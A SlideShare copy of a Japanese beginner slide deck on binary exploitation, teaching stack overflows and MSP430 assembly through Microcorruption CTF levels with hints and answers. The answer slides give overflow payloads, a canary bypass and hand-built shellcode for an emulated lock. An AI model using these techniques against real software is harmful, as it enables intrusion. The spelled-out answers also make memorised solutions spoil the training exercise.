Enviar pesquisa
Carregar
PWNの超入門 大和セキュリティ神戸 2018-03-25
•
14 gostaram
•
9,736 visualizações
I
Isaac Mathis
Seguir
PWNの超入門 大和セキュリティ神戸 2018-03-25 microcorruption ctf
Leia menos
Leia mais
Tecnologia
Denunciar
Compartilhar
Denunciar
Compartilhar
1 de 102
Baixar agora
Baixar para ler offline
Recomendados
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
kikuchan98
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
SECCON Beginners
MCC CTF講習会 pwn編
MCC CTF講習会 pwn編
hama7230
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリング
junk_coken
えっ今日はハッキングしてもいいのか?(CTF Web入門)
えっ今日はハッキングしてもいいのか?(CTF Web入門)
otya mura
Pythonによる黒魔術入門
Pythonによる黒魔術入門
大樹 小倉
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
trmr
Recomendados
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
kikuchan98
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
SECCON Beginners
MCC CTF講習会 pwn編
MCC CTF講習会 pwn編
hama7230
ctfで学ぼうリバースエンジニアリング
ctfで学ぼうリバースエンジニアリング
junk_coken
えっ今日はハッキングしてもいいのか?(CTF Web入門)
えっ今日はハッキングしてもいいのか?(CTF Web入門)
otya mura
Pythonによる黒魔術入門
Pythonによる黒魔術入門
大樹 小倉
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
trmr
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
Glibc malloc internal
Glibc malloc internal
Motohiro KOSAKI
CTFとは
CTFとは
Hiromu Yakura
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
sonickun
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
Hiromu Yakura
Scapyで作る・解析するパケット
Scapyで作る・解析するパケット
Takaaki Hoyo
目grep入門 +解説
目grep入門 +解説
murachue
例外設計における大罪
例外設計における大罪
Takuto Wada
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
CODE BLUE
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうか
Yuki Miyatake
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Preferred Networks
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
Kumazaki Hiroki
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
Akihiro Suda
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
できる!並列・並行プログラミング
できる!並列・並行プログラミング
Preferred Networks
オブジェクト指向できていますか?
オブジェクト指向できていますか?
Moriharu Ohzu
TLS, HTTP/2演習
TLS, HTTP/2演習
shigeki_ohtsu
僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達
Yusuke Wada
RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介
MITSUNARI Shigeo
分散システムの限界について知ろう
分散システムの限界について知ろう
Shingo Omura
Buffer overflow
Buffer overflow
ionis111
初めてのCPUを作ってみた
初めてのCPUを作ってみた
Eric Sartre
Mais conteúdo relacionado
Mais procurados
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
Glibc malloc internal
Glibc malloc internal
Motohiro KOSAKI
CTFとは
CTFとは
Hiromu Yakura
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
sonickun
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
Hiromu Yakura
Scapyで作る・解析するパケット
Scapyで作る・解析するパケット
Takaaki Hoyo
目grep入門 +解説
目grep入門 +解説
murachue
例外設計における大罪
例外設計における大罪
Takuto Wada
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
CODE BLUE
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうか
Yuki Miyatake
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Preferred Networks
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
Kumazaki Hiroki
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
Akihiro Suda
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
できる!並列・並行プログラミング
できる!並列・並行プログラミング
Preferred Networks
オブジェクト指向できていますか?
オブジェクト指向できていますか?
Moriharu Ohzu
TLS, HTTP/2演習
TLS, HTTP/2演習
shigeki_ohtsu
僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達
Yusuke Wada
RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介
MITSUNARI Shigeo
分散システムの限界について知ろう
分散システムの限界について知ろう
Shingo Omura
Mais procurados
(20)
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
Glibc malloc internal
Glibc malloc internal
CTFとは
CTFとは
RSA暗号運用でやってはいけない n のこと #ssmjp
RSA暗号運用でやってはいけない n のこと #ssmjp
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
Scapyで作る・解析するパケット
Scapyで作る・解析するパケット
目grep入門 +解説
目grep入門 +解説
例外設計における大罪
例外設計における大罪
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうか
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
できる!並列・並行プログラミング
できる!並列・並行プログラミング
オブジェクト指向できていますか?
オブジェクト指向できていますか?
TLS, HTTP/2演習
TLS, HTTP/2演習
僕がつくった 70個のうちの48個のWebサービス達
僕がつくった 70個のうちの48個のWebサービス達
RSA鍵生成脆弱性ROCAの紹介
RSA鍵生成脆弱性ROCAの紹介
分散システムの限界について知ろう
分散システムの限界について知ろう
Semelhante a PWNの超入門 大和セキュリティ神戸 2018-03-25
Buffer overflow
Buffer overflow
ionis111
初めてのCPUを作ってみた
初めてのCPUを作ってみた
Eric Sartre
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
Preferred Networks
Richard high performance fuzzing ja
Richard high performance fuzzing ja
PacSecJP
Deep learning Libs @twm
Deep learning Libs @twm
Yuta Kashino
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
Insight Technology, Inc.
Semelhante a PWNの超入門 大和セキュリティ神戸 2018-03-25
(6)
Buffer overflow
Buffer overflow
初めてのCPUを作ってみた
初めてのCPUを作ってみた
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
Richard high performance fuzzing ja
Richard high performance fuzzing ja
Deep learning Libs @twm
Deep learning Libs @twm
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
Mais de Isaac Mathis
Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハック
Isaac Mathis
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
Isaac Mathis
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
Isaac Mathis
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
Isaac Mathis
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document Exploits
Isaac Mathis
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策
Isaac Mathis
SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)
Isaac Mathis
Mais de Isaac Mathis
(7)
Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハック
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document Exploits
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策
SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)
Último
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Yuma Ohgami
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
Hiroki Ichikura
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
Toru Tamaki
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
taisei2219
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
Toru Tamaki
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
iPride Co., Ltd.
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
sugiuralab
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
Toru Tamaki
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
Ryo Sasaki
Último
(9)
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
PWNの超入門 大和セキュリティ神戸 2018-03-25
1.
PWNの超⼊⾨ 2018/3/25 @⼤和セキュリティ神戸 ⽥中ザック (@yamatosecurity)
2.
PWN(ポーン)とは? • 元々「own」から来ている • 「own」=
自分の物にする。ハッカースラングで「侵⼊、支配」等 • 例: I owned/pwned him. (彼をハックした) I/he/they got owned/pwned. (ハックされた!) They’re owned/pwned bad. (あの会社は完全にハックされてる) 機密情報が全部流出され、バックドア等も置かれているニュアンス • CTFではメモリ破壊系の脆弱性を悪用するバイナリ問題のジャンル
3.
Pwnie Awards(ポニーアワード) • https://pwnies.com/
Blackhatの非公式アワード
4.
メモリ破壊系の脆弱性 • Buffer Overflow
(Stack Overflow) • Heap Overflow(ヒープオーバーフロー) • Format String (書式⽂字列攻撃) • Use After Free (UAF) (別名:Dangling Pointer) • Write What Where (任意の場所に任意の値を書き込む) • Type confusion (型の取り違え) • Rowhammer等々
5.
バイナリ/仮想アドレス空間の構成 上位メモリ 下位メモリ 「プロテクトモード」や 「ページング⽅式」等を ご存知ない⽅は wikipediaの記事を 読んで下さい
6.
仮想アドレス空間の構成(32ビット) Base/Frame Pointer (Intel
32bit: EBP、64bit: RBP、ARM: R11、THUMB: R7) ベースポインターからのオフセットで関数のローカル変数を参照 (次の命令を指す。Intel 32bit: EIP、64bit: RIP、ARM等:PC 別名:Instruction Pointer (IP)、命令ポインター) カーネルメモリ(上位メモリ) ユーザ モード メモリ Stack Pointer: スタックの先頭を指している。PUSH/POP命令に使う
7.
スタック • プロセスの基本的なデータ構造 • LIFO
- Last In First Out (後⼊れ先出し) • 関数が呼び出された時(call命令時)に、 呼び出した関数のベースポインター、戻り値、関数の引数、 関数のローカル変数をスタックに保存する • ⼀時的にデータを保存する時に使われる
8.
バッファーオーバーフロー •ローカル変数のバッファーが溢れると 保存されたベースポインターや戻り値が 上書きされる •関数がreturnする時に上書きされた アドレスに⾶ばされる •攻撃者のコード(シェルコード)を AAAAのバッファーに置いて、 戻り値をそのバッファーのアドレスに ⾶ばしたら任意のコード実⾏が可能 •シェルコードをそのアーキテクチャの 機械語で書かないといけない •最近のOSではスタックにあるデータを 実⾏できないので⼯夫が必要 下位メモリ 上位メモリ
9.
CPUのレジスタ • CPUが内蔵する記憶回路(16/32/64ビットで小さいけど⼀番早い!) • 専用レジスタ:スタック、ベース、PC、ステータス等 •
汎用レジスタ:MSP430: r4-r15、ARM: r0-r12 • 汎用レジスタは値かメモリアドレスが格納されている • MSP430: • r0 = Program Counter (PC) • r1 = Stack Pointer (SP) • r2 = Status Register (SR) • r3 = Constant Generation (CG)
10.
SR (ステータスレジスタ) • CPUが命令を実⾏後にフラグ(ビット)をセットする •
CF(キャリーフラグ): ある桁での計算結果が、その桁で表すことのできる数を 超えたときに、キャリーとして1つ上の桁へ加えられる。 例:8ビットレジスタの場合: 255 + 9 = 264だけど255がmaxなので、 (264 & 255 = 8、CF = 1)。1 - 2 = 255、CF =1。 • ZF (ゼロフラグ): 算術演算命令の結果が0であった場合、真 (ZF=1)。 ADD、SUB等の演算命令。 論理演算命令の結果が0であった場合、真 (ZF=1)。 AND、OR等の論理演算命令 • NF (ネガティブフラグ): 算術演算命令の結果がネガティブの場合
11.
関数 (Functions) •与えられた⽂字や数値に対し、 定められた処理を⾏って結果を返す機能 •例: int add(int
x, int y) { int sum; sum = x + y; return(sum); } •add(2,3) パラメータ (Parameters) 5がリターンされる。2と3が引数(Arguments) ローカル変数 (Local Variables) 戻り値(別名:返り値、Return Value)
12.
関数 (Functions) •プログラムは普段main()関数から始まる •int main() {
int sum; sum = add(2,3); printf(“Result is %d ", sum); return 0; } add関数が終わったら 次の命令(printf)に 戻らないといけない。 そのため、何処かに 戻りアドレス (Return Address)を 保存しないといけない。 また、2と3の引数を 何処かに保存しないと。
13.
関数 (Functions) •引数、リターンアドレス、ローカル変数は スタックに⼀時的に保存される! •add(2,3);をアセンブリ⾔語にすると、 まず引数をスタックにPUSHしてからCALL add •PUSH
3 •PUSH 2 •CALL add スタック 3 2 SP SP
14.
CALL命令 •CALL命令は次の命令のアドレスをスタックに 保存(push)してから関数にJUMPする •PUSH <次の命令アドレス> •PC =
関数のアドレス •SPがpush/pop命令で 自動的にトップに 移動される スタック 3 2 SP SP戻りアドレス
15.
関数の構成 (アセンブリ) エピローグ コード プロローグ •プロローグ •BPを保存して (push
ebp) •BP <= SP (mov esp, ebp) •SPを増やす (sub esp, 10) (ローカル変数のスペースを作る) •エピローグ •SP <= BP (mov ebp, esp) •古いBPをスタックからBPに戻す (pop ebp) •SPにある戻りアドレスに戻る (ret)
16.
関数 (Functions) スタック フレーム 下位メモリ 上位メモリ
17.
関数を呼び出す前に引数をPUSH mainの スタックフレーム BP (上位メモリ) SP (下位メモリ) PUSH
3 PUSH 2 スタック (mainの ローカル変数等) 3 (addの引数) 2 (addの引数) SP ※スタックは実は下に拡張
18.
CALL命令 スタック (mainの ローカル変数等) 3 (addの引数) 2 (addの引数) SP戻りアドレス CALL
<関数> まず戻りアドレスを保存 BP (MainのStack Frame)
19.
プロローグ main() フレーム 3 (addの引数) 2 (addの引数) SP 戻りアドレス BP mainのBP 1.
PUSH BP SP/BP main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP 2. MOV SP, BP main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP addの変数 BP SP 3. SUB SP, 10
20.
エピローグ main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP addの変数 BP SP 1.
MOV BP, SP main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス mainのBP SP/ BP main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス 2. POP BP SP BP 0.
21.
エピローグ main() フレーム 3 (addの引数) 2 (addの引数) 戻りアドレス 3.
RET SP BP main() フレーム 3 (addの引数) 2 (addの引数) SP BP PC/IP = 戻りアドレス
22.
アーキテクチャ • ⼆種類 • CISC
(Complex Instruction Set Computer) (複雑命令セットコンピュータ) 例:Intel等 メリット:プログラミングが少し楽になる デメリット:ハードウェアが複雑になるため、より電源を消費し、遅い • RISC (Reduced Instruction Set Computer) (縮小命令セットコンピュータ) 例:マイコン、ARM、MSP430等々 メリット:パフォーマンスがCISCより2~4倍速い。低消費電⼒。 デメリット:プログラムサイズが増える
23.
アセンブリ⾔語のシンタックス • ⼆種類 • Intel
(Windows等) <命令> <dst>(転送先), <src> (転送元) (オペランドの⽅向:←) • AT&T (Linux GDB等) <命令> <src> (転送元), <dst>(転送先) (オペランドの⽅向:→) mov #0x2400, r15 (“0x2400”の2バイト(word)をr15にコピー) mov.b #0x4b, 0x0(r15) (“0x4b”の1バイトをr15オフセット0にコピー) mov.b #0x7a, 0x1(r15) (“0x4b”の1バイトをr15オフセット1にコピー) mov.b @r15, r14 (r15にあるメモリアドレスにある値をr14にコピー) mov &0x015c, r5 (0x015cのメモリアドレスにある値をr5にコピー)
24.
エンディアン(バイト順) • ⼆種類 • ビッグエンディアン
(最上位ビット (MSB)が左。Solaris、PowerPC等) • リトルエンディアン(最下位ビット (LSB)が左。Intel等)
25.
重要なアセンブリ •CALL: 関数を呼び出す。 PUSH PC+2(次の命令をスタックに保存) PC
= dst •CLR = レジスタをクリア(reg = 0) •CMP = CoMPare (dst - src、0の場合は⼀致) •INC = INCrement (+1) •INCD = Double INCrement (+2) •JC = Jump if Carry set •JEQ/JZ = Jump if EQual/Zero •JMP = JuMP •JN = Jump if Negative set
26.
重要なアセンブリ •JNC = Jump
if Not Carry •JNE/JNZ = Jump if Not Equal/Zero •MOV = データをコピー •NOP = 何もしない •POP = SPのアドレスにあるデータを レジスタにコピーし、SP = SP +2 •PUSH = SP = SP - 2、レジスタにある データをSPにコピー •RET = 関数からリターン PC = @SP、SP = SP + 2 •SXT = Sign eXTension (8bitのMSBを16bitにextend) 例:00000000 10000000 → 11111111 10000000 11111111 00000000 → 00000000 00000000 •TST(.b) = CMP(.B) #0, xxx (0かどうかチェック)
27.
重要なアセンブリ •命令に「.b」が付いている場合は、 2バイト(16bit)ではなく、1バイト(8bit)の値に対して命令を実⾏する •例:mov.b #0x0, -0x4(r4) ヌルバイト(0x0)をr4のメモリアドレスオフセット-0x4にコピー (r4
= 2444だったら、2440がヌルバイトで上書きされる。 2441は影響なし)
28.
Microcorruption CTF • https://microcorruption.com/
(Matasano (現在NCC Group) & Squareが提供) • バイナリ下忍(初⼼者)のためのCTF • ウェブブラウザだけでプレーできる!ツール等不要! • MSP430のRISC、リトルエンディアン、Word Aligned(アドレスは偶数) • 世界中の倉庫の電⼦錠をハックしていくというストーリー • マニュアル:https://microcorruption.com/manual.pdf (Cのサンプルコードあり。必ずRTFM!) • その他のMSP430 Assemblyマニュアル: http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf http://www.ece.uah.edu/~milenka/cpe323-10S/lectures/cpe323msp430_ISA.pdf
29.
割り込み • ソフトウェア割り込み (Interrupt): マイコンの&0x0010にカーネルモードに⼊るためのcallgateがある。 割り込みを使って、コンソールからPWを⼊⼒したり、 メッセージを出⼒したりできる。 割り込みの種類はステータスレジスタのR2の上位バイトから渡される。 引数はスタックから渡される。 •
ソフトウェア割り込み「0x7F」で電⼦錠を解除する • INT 0x00: putchar (1バイトを出⼒)
30.
割り込みの⼀覧 •INT 0x00: putchar
(1バイトを出⼒) •INT 0x01: getchar (1バイトを⼊⼒) •INT 0x02: gets(dst_address, max_length)(複数のバイトを⼊⼒)(ヌルバイトで⽌まる) •INT 0x10: DEP (データ実⾏防⽌)を有効にする •INT 0x11: メモリページを実⾏可能か書込可能のどちらかにする •INT 0x20: rand (16ビットの乱数⽣成) •INT 0x7D: HSM-1に接続。⼀番目の引数は⼊⼒されたPW、 ⼆番目はPWが⼀致した時のフラグのメモリアドレス •INT 0x7E: HSM-2に接続。引数が⼊⼒されたPW
31.
HSM •Hardware Security Module •Model
1 • 割り込み「0x7D」でパスワードをマイコンからHSMに送る • パスワードが⼀致した場合は、メモリのある所のバイトをセットする •Model 2 • よりセキュアなHSMで直接HSMから解除する • 割り込み「0x7E」でパスワードをマイコンからHSMに送って HSMにあるPWと⼀致した場合はHSMが直接解除する
32.
CTFの正しいやり⽅ •※やり過ぎて、しんどくなって諦めたら意味無い!!ので 頑張り過ぎないように!(笑) •まず、⼀回問題に挑戦してみる! •自分の限界まで来たら、頭を冷やしてもう⼀回挑戦するか、 ヒントを見る •また限界まで来たら次のヒントや解説(write up)を見る •Write upが無い場合は先輩などに聞く
(ソーシャルハック) •何より楽しむのが⼤事!!! •※グループでやった⽅が楽しいし、勉強になる!
33.
0. Tutorial •https://microcorruption.com/でアカウントを作成して、 Tutorialを⾔われる通りやって下さい
34.
「⼤熱⾎! アセンブラ⼊⾨」 by
坂井 弘亮
35.
その他のバイナリハッキングのコツ • プロローグとエピローグの コードをあまり気にしないで その間のコードを解析する! • バッファオーバフローの場合、 戻りアドレスが上書きされる ので、「ret」にbreakpointを 付けて、spの値を確認したり 解析して下さい •
sかnでレジスタとスタックの メモリダンプを見ながら解析 プロローグ エピローグ
36.
その他のバイナリハッキングのコツ •A型、完璧主義者は絶対駄目!!! •全部理解しようとしたらしんどいし、不可能!! •まず問題を解ければ良い! •余裕があれば、問題を解いてから 更に解析しても良い ※ストレスがたまらない程度にね!
37.
1. New Orleans
(10点) • Bluetoothなんちゃらと 書いてあるけど無視して良い • 取り敢えず cでスタート 適当にパスワードを⼊⼒ sでステップ パスワードを探して下さい
38.
New Orleans • PWを⼊⼒後、 check_passwordが 呼ばれる •
tst r15 (return valueを確認) ZF=1の場合は #4462: Access Granted 0の場合は、 次の命令で 「Invalid password」 • 他に面白い関数ある?
39.
New Orleans ヒント1
40.
New Orleansヒント1 • ループで1バイト単位で ⼊⼒したPWがr14の アドレスにあるPWと⼀致 しているかどうか確認している •
ハードコードされたPWが 分かったらsolveで解く!
41.
New Orleans ヒント2
42.
New Orleansヒント2 • create_passwordの関数が 気になる! •
break create_passwordで sしたらパスワードを Memory Dumpで確認
43.
New Orleansの答え
44.
New Orleansの答え パスワードが「Kz5+{g5」でござる ※プレーヤーによってPW、アドレス、カナリア等が違うのでコピペで解けない!!
45.
2. Sydney (15点) •「前のモデルはメモリからパスワード を取得できる脆弱性の報告があった ので、修正しました」 •取り敢えず適当にPWを⼊⼒し、 sで解析して下さい
46.
Sydney ヒント1
47.
Sydney ヒント1 • cmp命令でパスワードの最初の 2バイトが0x5021であるかどうか 確認している・・ •
⼀致しない場合は、 44acに⾶んでr14とr15をゼロにする • mainに戻った時にゼロフラグがセット されているので、4452でAccess Grantedに ⾶ばないでInvalid Passwordで終了
48.
Sydney ヒント2
49.
Sydney ヒント2 Little/Big Endianにご注意を!
50.
Sydneyの答え
51.
Sydney の答え PW: 2150735d53472639 ※プレヤーによって フラグが異なる可能性がある
52.
3. Hanoi (20点) •
ハードウェアセキュリティモジュール 「LockIT Pro HSM-1」に接続している • https://microcorruption.com/manual.pdf • Interrupt 0x7DでパスワードをHSMに送る • パスワードが⼀致した場合はメモリのある所の バイトがセットされる
53.
Hanoi ヒント1
54.
Hanoi ヒント1 •455aでパスワードが正しい かどうかチェックしている •HSM-1が&0x2410にパスワード チェックのリターン値を セットしているっぽい
55.
Hanoi ヒント2 バッファーオーバーフロー!
56.
Hanoi の答え
57.
Hanoiの答え 88 x (17回)をPWに⼊れると リターン値が上書きされて ロックが解除される
58.
4. Cusco (25点) •また「LockIT
Pro HSM-1」に接続している •「長過ぎるパスワードに関する問題を修正した」
59.
Cuscoのヒント1 またバッファーオーバーフロー!
60.
Cuscoのヒント2 18-19バイト目で好きなアドレスに PCを⾶ばすことができる。 何処に⾶ばしたらロックが解除される?
61.
Cuscoの答え • 4528のunlock_doorは? • PW:
414141414141414141414141414141412845 41 x 16回 + 2845
62.
5. Reykjavik (35点) •軍用の強度な暗号を利用している •HWセキュリティモジュールに接続していない •暗号化されているのでパスワードをメモリから読めない
63.
Reykjavikヒント1
64.
Reykjavikのヒント1 •パスワード確認コードは暗号化されている •スタックから実⾏されるので、 上⼿く逆アセンブルできなくて見づらい •パスワードを⼊⼒後に「s」で命令をチェック
65.
Reykjavikヒント2 cmpを探して下さい
66.
Reykjavikの答え PW: hexで21af
67.
6. Whitehorse (50点) HSM-2に接続している
68.
Whitehorseヒント1
69.
Whitehorseのヒント1 バッファオーバーフローの問題
70.
Whitehorseヒント2
71.
Whitehorseのヒント2 使えるアドレス(解除してくれるアドレス) が無いのでシェルコードを書く必要がある
72.
Whitehorseヒント3
73.
Whitehorseのヒント3 •使えるアドレス (解除してくれるアドレス)が無いので シェルコードを書く必要がある •0x7eを呼び出す事は できるけど役に立たない •(HSM-2側で認証/解除を⾏っている)
74.
Whitehorseの答え
75.
Whitehorseの答え •シェルコード: 3012 7f00 PUSH
#x7f b012 3245 call <INT> •パスワードが3884から始まるので PW: 30127f00b012324541414141414141418438 (3012 7f00 b012 3245 + (41 x 8) + 8438)
76.
7. Johannesburg (20点) •HSM-1に接続している •「長過ぎるPWを拒否する」
77.
Johannesburgのヒント
78.
Johannesburgのヒント •PWの長さをカナリアで確認している
79.
Johannesburgの答え
80.
Johannesburgの答え •18バイト目が0x9cかどうかチェックしている (カナリアが上書きされているかどうかチェック) •PW: 9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c4644 (9c x
18) + 4644で4446のunlock_door関数に⾶ばす
81.
8. Montevideo (50点) •HSM-2に接続している •「Shift
Leftでセキュア開発している」
82.
Montevideoヒント1
83.
Montevideoのヒント1 •strcpyされているので、 ヌルバイトが使えない!つらい! •使えたらWhitehorseのように 3012 7f00 push#0x7f b012
4c45 call #0x454c <INT> で簡単にできる・・ •ヌルバイトなしで使える命令ある?Assembly頑張って!
84.
Montevideoヒント2
85.
Montevideoのヒント2 •break 4460 <INT> •sでINT
0x7eを解析 •どうやってINT 0x7fのシェルコードを作成? •(ヌルバイト無しで・・)
86.
Montevideoヒント3
87.
Montevideoのヒント3 •INT 0x7fを解析したら sr =
ff00 call 0x10 できたら解除できる •検証:(プログラムの何処でもbreakして) let sr = ff00 let pc = 455c (call 0x10) c したら解除される
88.
Montevideoヒント4
89.
Montevideoのヒント4 •1つのやり⽅: mov ????, r15
(バイト順に注意) inc r15 (0xff00になるように) mov r15, r2 (r2 = sr) call #0x0010 (call 0x10)
90.
Montevideoヒント5
91.
Montevideoのヒント5 • 3f40 feff
